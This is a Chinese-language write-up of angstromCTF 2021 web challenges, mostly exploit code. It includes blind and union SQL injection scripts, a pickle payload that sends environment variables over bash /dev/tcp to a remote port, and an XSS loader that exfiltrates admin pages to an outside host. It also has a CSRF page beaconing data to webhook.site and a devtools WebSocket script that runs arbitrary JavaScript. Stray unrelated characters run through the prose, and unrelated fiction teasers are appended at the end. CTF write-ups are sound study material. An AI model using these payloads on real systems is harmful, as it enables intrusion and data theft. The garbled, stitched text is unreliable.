angstromCTF 2021

放假時做了下 angstromCTF的題目, 質量都挺不錯的加勤。這里記錄下自己做出來的題目以及復現(xiàn)的偿曙。

(反觀某國內比賽智障腦洞題, 真的無語

Sea of Quills

題目給了ruby 源碼方庭。 有很明顯的注入套像。

blacklist = ["-", "/", ";", "'", "\""]

blacklist.each { |word|
    if cols.include? word
        return "beep boop sqli detected!"
    end
}


if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
    return "bad, no quills for you!"
end

@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

基本沒waf. 直接子查詢查表名,再從flagtable查flag即可
col=(select flag from flagtable)

Sea of Quills2

第二版就很有意思了聪廉。加上了看似非常嚴格的waf. col長度不能超過24.limit 與offset需要為數(shù)字聂受。

blacklist = ["-", "/", ";", "'", "\"", "flag"]

blacklist.each { |word|
    if cols.include? word
        return "beep boop sqli detected!"
    end
}


if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
    return "bad, no quills for you!"
end

@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

要知道select*fromsqlite_master才24字母。就是說子查詢肯定不可行坦喘。那么要如何注入呢?

這時我想起去年做過的zer0pts2020 里的urlapp, 一道利用url打redis 改鍵名讀鍵名的題目盲再。那道題的有趣之處在于使用BITOP進行按位改, 然而漏洞根源卻是,ruby正則的脆弱性導致了可以傳入\nbypass 正則, 從而SSRF 打 redis.

所以此處唯一可能繞過的地方自然是limit 與offset. 當我fuzz limit 傳入\n時,發(fā)現(xiàn)正則確實被繞過了瓣铣。而且除此之外答朋,還能在\n后傳入任意字符而不被waf匹配到。
(之后了解到ruby正則只匹配單行)

所以就是盲注的事了棠笑。我用比較偏愛的報錯區(qū)分狀態(tài)碼來注入

import requests
import string


url = 'https://seaofquills-two.2021.chall.actf.co/'


res = ''
for j in range(1,100):
    print(j)
    for i in string.printable:
        r = requests.post(url + 'quills', data={
            'cols': "(select 1)",
            'limit': "2\n or abs(case when(substr((select flag from flagtable limit 1),"+ str(j) +",1)='" + i + "') then -9223372036854775808 else 0 end);",
            "offset": "3"
        })
        if r.status_code == 500:
            res += i
            print(res)
            break

后來想起來直接union select就行了 ..

cols: "* FROM(select name,desc"
limit: "1"
offset: "1\n) UNION SELECT flag, 1 FROM flagtable"

(所以這題zer0pts 拿一血很合理 2333

Jar

pickle 反序列化梦碗。

import pickle
from base64 import b64encode as b64
class exp(object):
        def __reduce__(self):
            cmd = ['bash', '-c', 'echo $(env) > /dev/tcp/xxx/9001 ']
            return __import__('subprocess').check_output, (cmd,)

e = exp()
s = pickle.dumps(e)
payload = b64(s).decode()

url = 'https://jar.2021.chall.actf.co/add'
r = requests.post(url, cookies={'contents': payload})
print(r.text)

nomnomnom

題目給了源碼(不過,貌似不給源碼也能做)腐晾〔嫦遥可以鎖定關鍵代碼發(fā)現(xiàn)這是一道xss題目

app.get('/shares/:shareName', function(req, res) {
    // TODO: better page maybe...? would attract those sweet sweet vcbucks
    if (!(req.params.shareName in shares)) {
        return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
    }

    const share = shares[req.params.shareName];
    const score = share.score;
    const name = share.name;
    const nonce = crypto.randomBytes(16).toString('hex');
    let extra = '';

    if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
        extra = `deletion token: <code>${process.env.FLAG}</code>`
    }

    return res.send(`
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
        <title>snek nomnomnom</title>
    </head>
    <body>
        ${extra}${extra ? '<br /><br />' : ''}
        <h2>snek goes <em>nomnomnom</em></h2><br />
        Check out this score of ${score}! <br />
        <a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
        <br />
        This score was set by ${name}
        <script nonce='${nonce}'>
function report() {
    fetch('/report/${req.params.shareName}', {
        method: 'POST'
    });
}

document.getElementById('reporter').onclick = () => { report() };
        </script> 
        
    </body>
</html>`);
});

app.post('/report/:shareName', async function(req, res) {
    if (!(req.params.shareName in shares)) {
        return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
    }

    await visiter.visit(
        nothisisntthechallenge,
        `http://localhost:9999/shares/${req.params.shareName}`
    );
})

同時注意到bot 用到的是firefox 的 puppeteer

async function visit(secret, url) {
    const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
    var page = await browser.newPage()
    await page.setCookie({
        name: 'no_this_is_not_the_challenge_go_away',
        value: secret,
        domain: 'localhost',
        samesite: 'strict'
    })
    await page.goto(url)

    // idk, race conditions!!! :D
    await new Promise(resolve => setTimeout(resolve, 500));
    await page.close()
    await browser.close()
}

簡而言之。我們現(xiàn)在可控shares頁面下直接拼接的score與name.但是頁面存在CSP 的nonce 且nonce為動態(tài)刷新. 我們可控點在含nounce的script 正上方藻糖。

首先對于這個CSP, 其實是非常奇怪的淹冰。一般來說設置script-nonce 可能會先加上script-src: 'self' default-src: 'self' base-uri: none 之類的。其中一種繞過方法是在沒有base-uri的情況下先插入base標簽再插入scipt(帶nonce),達成xss; 但是這些要求nonce可控巨柒,此處自然是不行的樱拴。

但是,注意到我們可控的name就在script標簽正上方柠衍,一個樸素的想法自然是,想辦法讓我們的標簽把下面的吞掉晶乔,并且nonce 正好帶進去就行了珍坊。
<script src='data:text/plain,alert(1)' a=當然能吞進去,此時在firefox下就已經能xss了.但是chrome下可以么正罢?為了避免<字符的影響,這里我嘗試了下設置同名屬性阵漏,因為瀏覽器會忽略第二個同名屬性。結果發(fā)現(xiàn)chrome下確實觸發(fā)不了,盡管已經解析成正確的代碼了

基于題目是firefox,直接xss傳html代碼就行翻具。

def xss():
    r = requests.post(url + 'record', json={
        'name': """<script src="data:text/plain,location. a=123 a=""",
        "score": 44
    })
    print(r.text)
def submit():
    r = requests.post(url + 'report/376d2d58a518de7b')
    print(r.text)

Reaction . py

這題吃了個沒域名的虧履怯。 不然很快就能出。裆泳。叹洲。??

本題同樣是xss.關鍵代碼在于

def add_component(name, cfg, bucket):
    if not name or not cfg:
        return (ERR, "Missing parameters")
    if len(bucket) >= 2:
        return (ERR, "Bucket too large (our servers aren't very good :((((()")
    if len(cfg) > 250:
        return (ERR, "Config too large (our servers aren't very good :((((()")
    if name == "welcome":
        if len(bucket) > 0:
            return (ERR, "Welcomes can only go at the start")
        bucket.append(
            """
            <form action="/newcomp" method="POST">
                <input type="text" name="name" placeholder="component name">
                <input type="text" name="cfg" placeholder="component config">
                <input type="submit" value="create component">
            </form>
            <form action="/reset" method="POST">
                <p>warning: resetting components gets rid of this form for some reason</p>
                <input type="submit" value="reset components">
            </form>
            <form action="/contest" method="POST">
                <div class="g-recaptcha" data-sitekey="{}"></div>
                <input type="submit" value="submit site to contest">
            </form>
            <p>Welcome <strong>{}</strong>!</p>
            """.format(
                captcha.get("sitekey"), escape(cfg)
            ).strip()
        )
    elif name == "char_count":
        bucket.append(
            "<p>{}</p>".format(
                escape(
                    f"<strong>{len(cfg)}</strong> characters and <strong>{len(cfg.split())}</strong> words"
                )
            )
        )
    elif name == "text":
        bucket.append("<p>{}</p>".format(escape(cfg)))
    elif name == "freq":
        counts = Counter(cfg)
        (char, freq) = max(counts.items(), key=lambda x: x[1])
        bucket.append(
            "<p>All letters: {}<br>Most frequent: '{}'x{}</p>".format(
                "".join(counts), char, freq
            )
        )
    else:
        return (ERR, "Invalid component name")
    return (OK, bucket)

name 有四種方式,都會把部分html塞入bucket。我們訪問頁面時bucket會作為html代碼返回工禾。目標是xss拿到admin的bucket內容

注意到运提,四種方式里只有一種freq是塞入的沒有經過escape的代碼。也就是說想做到xss,就要塞入<,也就只能選這條路了闻葵。

但是其要求很嚴苛民泵。他回顯的是"".join(counts) => "".join(Counter(cfg))。就是說我們payload中重復的部分會被去掉笙隙。我們要嘗試沒有重復字符的xss. 近似解決的想法自然是<script src=http://xxx/>洪灯。但像域名或者其他位置仍然有重復字符坎缭。

這里我很快想到一個很著名的問題 http://www.unicode.org/reports/tr46/竟痰。也就是不同字符造成相同domain解析的問題(為了照顧不同語種用戶)。

同時,html標簽支持大小寫掏呼。那么想要不重復字符大概只有一種方式了
<SCRIPT src=//YOUR_DOMAIN>
注意//這種加載方式坏快。如果跑在web服務器上,https就會自動找https://YOUR_DOMAIN,http就會自動找http://YOUR_DOMAIN憎夷。

不過我們沒法傳入倆個/莽鸿。當然,嘗試hTtp:/xxx縮減一個/也是可以的,可惜這樣t字符又會重復。簡單測試了下拾给,發(fā)現(xiàn)\可以替代/(unicode /字符不能替代)祥得。所以最后轉下domain為unicode就可以了。(或者也許有dalao 有不跟前面字符重復的短域名蒋得?)這里我因為沒開https,沒有博客以外的域名级及,只好去 repl.it 開了個臨時node 2333

domain的轉換可以使用 https://splitline.github.io/domain-obfuscator/ 之前在bamboofox CTF中用過

def add():
    r = requests.post(url + 'newcomp', data={
        'name': "freq",
        'cfg': "<SCRIPT src=\/ⅹ.????4。??????o>"
    }, cookies={
        'session': "eyJ1c2VybmFtZSI6ImJ5YzQwNiJ9.YGkXgQ.QZ2FZ8USqQHWcjStB4p6tTfbsUo"
    })
    print(r.text)
add()

repl.it上放的是

fetch('/?fakeuser=admin').then(r => r.text()).then(r => fetch(`https://x.byc404.repl.co/?flag=${btoa(r)}`,{'mode':'no-cors'}))

ps: 其實這個unicode的問題在nodejs 8及以前得版本表現(xiàn)得比較嚴重额衙。因為其http庫在這基礎上沒有過濾掉\r\n饮焦。直接導致CRLF怕吴。

jason

CSRF。 源碼關鍵部分如下


function sameOrigin (req, res, next) {
    if (req.get('referer') && !req.get('referer').startsWith(process.env.URL))
        return res.sendStatus(403) 
    return next()
}


app.post('/passcode', function (req, res) {
    if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=')
    else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)
    return res.redirect('/')
})

app.post('/visit', async function (req, res) {
    if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)}
    return res.redirect('/')
})

app.get('/languages', sameOrigin, function (req, res) {
    res.jsonp({category: 'languages', items: ['C++', 'Rust', 'OCaml', 'Lisp', 'Physical touch']})
})

app.get('/friends', sameOrigin, function (req, res) {
    res.jsonp({category: 'friends', items: ['Functional programming']})
})

app.get('/flags', sameOrigin, function (req, res) {
    console.log(req.cookies);
    if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403)
    res.jsonp({category: 'flags', items: [process.env.FLAG]})
})

app.listen(7331)

其中visit部分是個 puppeteer 的bot訪問县踢。

首先很明顯转绷。flag在jsonp處。理論上獲得jsonp返回值即可硼啤。但是它作了referer的檢查议经。這個倒是挺好繞。因為它只考慮了有referer的情況下需要從它的主站來谴返。所以不帶referer即可爸业。

但是,此處我們想外帶data必然要劫持jsonp亏镰。也就是要讓其返回內容作為頁面下的可控javascript扯旷。所以得用script來跨域加載。 (現(xiàn)在chrome的CORB防范真的非常嚴格索抓,script只會跨域加載 text/javascript的資源,不過還好jsonp本身就是種跨域方式)

const script = document.createElement('script');
script.referrerpolicy = 'no-referrer'
script.src = "http://127.0.0.1:7331/flags?callback=load"
document.head.appendChild(script)

獲得jsonp的方法明白了之后還有一點注意钧忽,我們需要admin帶cookie訪問才能獲得flags的jsonp內容。然而這里是express 自帶的jsonp而不是那種php自寫的jsonp逼肯。其callback并不能做到任意字符,也就沒有xss了耸黑。所以這個站并沒有xss利用來獲取dom的內容

所以。單純利用csrf怎么才能有權訪問jsonp呢篮幢?這里如果注意到passcode的奇怪寫法大刊,方法就水落石出了。

res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)

此處passcode完全可控三椿。也就是說缺菌,我們可以在set-cookie原本的cookie后加入任意內容。要加什么搜锰,或者說能加什么伴郁,MDN寫的是很清楚的


cookie的幾個安全屬性中。httpOnly與SameSite 是用的非常多的蛋叼。其中httpOnly可以防止通過dom獲取cookie.SameSite則指定cookie的作用域焊傅。尤其在跨域請求上作用很大。(如果samesite 為none, 即使是csrf也可以利用跨域請求進行xsleak)

一般來說沒有設置SameSite 的話狈涮,默認是為Lax的狐胎。也就是默認防csrf.所以這里直接利用passcode 設置為None即可。

注意的是「桠桑現(xiàn)在SameSite 為None.時握巢,必須設置Secure為true,也就是必須在https上(除了localhost)才有效。


這里簡單寫個表單提交(其他請求如fetch不會順著跳轉骆姐。這樣set-cookie 就沒意義了镜粤。)捏题。我們在本頁面開個新窗口執(zhí)行表單后一直調用 location.reload()刷新本頁面。這樣等cookie在我們的惡意html處生效時肉渴,就會調用被劫持的load了公荧。這里可以fetch請求下自己的站外帶數(shù)據(jù),也可以navigator.sendBeacon post數(shù)據(jù)

這里因為他遠程的puppeteer 沒有timeout.所以最好把interVal的間隔設短點同规。

<script>
        const script = document.createElement('script');
        script.referrerpolicy = 'no-referrer'
        script.src = "http://127.0.0.1:7331/flags?callback=load"
        document.head.appendChild(script)

        const load =  (data) => {
                navigator.sendBeacon('https://webhook.site/48cbda29-080e-442f-8040-7a52a9093234', window.btoa(data))
        }
        w = window.open('poc2.html')
        setInterval(() => {
                location.reload()
        }, 100)
</script>
<form action="http://127.0.0.1:7331/passcode" method="post" id="form">
    <input type="hidden" name="passcode" value="; SameSite=None; Secure">
</form>
<script>form.submit()</script>

后來看了官方題解循狰。基本是一致的券勺。不過他用localStorage.done = true也就是localStorage來存了個標記變量绪钥。這樣的話保證只會在表單提交好,并且跳轉完后才reload.

setInterval(function () {
        try { w.location.href }
        catch (e) { localStorage.done = true; location.reload() }
    }, 10)

actf{jason's_site_isn't_so_lax_after_all}

Spoofy

這題沒做关炼。程腹。。但是解出人數(shù)挺多的儒拂。后來發(fā)現(xiàn)可能是錯過了一篇文章

https://jetmind.github.io/2016/03/31/heroku-forwarded.html

簡單的說寸潦。就是heroku可能會把真實ip append到x-forwarded-for 后。假如傳的時候帶了兩個xff社痛。就可能會解析成

{"x-forwarded-for" "10.10.10.10,99.99.99.99,20.20.20.20"}

其中 99.99.99.99 是被加進去的真實ip见转。
本題源碼部分只要求xff 里, 分割后的ip里。第一個與最后一個相同且為1.3.3.7蒜哀。所以加個逗號即可

X-Forwarded-For: 1.3.3.7
X-Forwarded-For: , 1.3.3.7

Watered Down Watermark as a Service

這題因為沒時間就沒看斩箫。但是記得題目名在diceCTF里出現(xiàn)過。后來賽后發(fā)現(xiàn)diceCTF的非預期在這里還有撵儿。當時在discord里見到有師傅提到用chrome的devtools port做的乘客。印象還很深刻。一方面统倒,byteCTF 線下決賽有個markdownxss, 好像是找瀏覽器0day xss 后再利用chrome 的devtools port 來著寨典。另一方面我自己寫selenium爬蟲時發(fā)現(xiàn)如果調用的是selenium-webdriver/chrome 也就是自己庫里的chrome而不是本機的chrome時,會自動開個devtools 端口來調試房匆。此題用到的puppeteer也是一樣

首先第一步是找到devtools 的端口。由于可以通過http 訪問报亩。所以我們只要小范圍爆破即可浴鸿。注意源碼的限制

app.use((req, res, next) => {
    res.set('X-Frame-Options', 'deny');
    res.set('X-Content-Type-Options', 'nosniff');
    next()
})


...
async function visit (url) {
    if (!checkURL(url)) return 'no!!!!'
    let ctx = await (await browser).createIncognitoBrowserContext()
    let page = await ctx.newPage()
    page.on('framenavigated',function(frame){
        if (!checkURL(frame.url())) return 'no!!!!'
    })
    ......


function checkURL(url) {
    const urlobj = new URL(url)
    if(!urlobj.protocol || !['http:','https:'].some(x=>urlobj.protocol.includes(x)) || urlobj.hostname.includes("actf.co")) return false
    return true
}

一方面限制了iframe。( 如果頁面加載失敗弦追。它會定向到chrome://network-error/岳链。而這個就沒法判斷了)。同時也用X-Content-Type-Options限制了script.不能script跨域加載劲件。

所以此處我們可以用其他跨域請求方法掸哑。fetch + no-cors即可约急。

<html>
<head>byc</head>
<body>
<script>
for (let port = 40000; port < 45000; port++) {
    const url = `http://127.0.0.1:${port}`
    fetch(url, {mode: 'no-cors'}).then(res => {
        document.body.innerHTML += `\n${url}`
    })
}
</script>
        <link rel="stylesheet" href="http://difajosdifjwioenriqoewrowifjaoijdaf.com">
    </body>
    </html>

之后我們訪問其json/new路由。他會

Opens a new tab. Responds with the websocket target data for the new tab.

這樣就會新開一個標簽頁苗分。且我們能執(zhí)行任意js.為了獲取flag自然是http://127.0.0.1:40027/json/new?file:///app/flag.txt 來用瀏覽器打開flag

根據(jù) https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate

我們可以用Runtime.evaluate 來執(zhí)行任意js

window.ws = new WebSocket(`ws://127.0.0.1:40027/devtools/page/98D1EC60387BE0038D514389E2887339 `)
ws.onmessage = (e => { document.writeln("<h3>" + e.data + "</h3>"); })
ws.onopen = () => {
    ws.send(JSON.stringify({
        id: 1,
        method: 'Runtime.evaluate',
        params: { expression: 'document.body.innerHTML' }
    }))
}

還是學到很多的厌蔽。預期好像是構造BSON 數(shù)據(jù)。感覺跟web關系不大摔癣。奴饮。。

Summary

總的來說題目質量都很不錯择浊。很難想象是給高中生準備的題戴卜。。琢岩。關于前端的一些知識自己也有了一些新的見解投剥。希望能有機會總結下。

References

https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark

https://github.com/r00tstici/writeups/tree/master/angstromCTF_2021/spoofy

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末担孔,一起剝皮案震驚了整個濱河市薇缅,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌攒磨,老刑警劉巖泳桦,帶你破解...
    沈念sama閱讀 218,755評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異娩缰,居然都是意外死亡灸撰,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評論 3 395
  • 文/潘曉璐 我一進店門拼坎,熙熙樓的掌柜王于貴愁眉苦臉地迎上來浮毯,“玉大人,你說我怎么就攤上這事泰鸡≌叮” “怎么了?”我有些...
    開封第一講書人閱讀 165,138評論 0 355
  • 文/不壞的土叔 我叫張陵盛龄,是天一觀的道長饰迹。 經常有香客問我,道長余舶,這世上最難降的妖魔是什么啊鸭? 我笑而不...
    開封第一講書人閱讀 58,791評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮匿值,結果婚禮上赠制,老公的妹妹穿的比我還像新娘。我一直安慰自己挟憔,他們只是感情好钟些,可當我...
    茶點故事閱讀 67,794評論 6 392
  • 文/花漫 我一把揭開白布烟号。 她就那樣靜靜地躺著,像睡著了一般政恍。 火紅的嫁衣襯著肌膚如雪汪拥。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,631評論 1 305
  • 那天抚垃,我揣著相機與錄音喷楣,去河邊找鬼。 笑死鹤树,一個胖子當著我的面吹牛铣焊,可吹牛的內容都是我干的。 我是一名探鬼主播罕伯,決...
    沈念sama閱讀 40,362評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼曲伊,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了追他?” 一聲冷哼從身側響起坟募,我...
    開封第一講書人閱讀 39,264評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎邑狸,沒想到半個月后懈糯,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,724評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡单雾,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,900評論 3 336
  • 正文 我和宋清朗相戀三年赚哗,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片硅堆。...
    茶點故事閱讀 40,040評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡屿储,死狀恐怖,靈堂內的尸體忽然破棺而出渐逃,到底是詐尸還是另有隱情够掠,我是刑警寧澤,帶...
    沈念sama閱讀 35,742評論 5 346
  • 正文 年R本政府宣布茄菊,位于F島的核電站疯潭,受9級特大地震影響,放射性物質發(fā)生泄漏买羞。R本人自食惡果不足惜袁勺,卻給世界環(huán)境...
    茶點故事閱讀 41,364評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望畜普。 院中可真熱鬧,春花似錦群叶、人聲如沸吃挑。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,944評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽舶衬。三九已至埠通,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間逛犹,已是汗流浹背端辱。 一陣腳步聲響...
    開封第一講書人閱讀 33,060評論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留虽画,地道東北人舞蔽。 一個月前我還...
    沈念sama閱讀 48,247評論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像码撰,于是被迫代替她去往敵國和親渗柿。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,979評論 2 355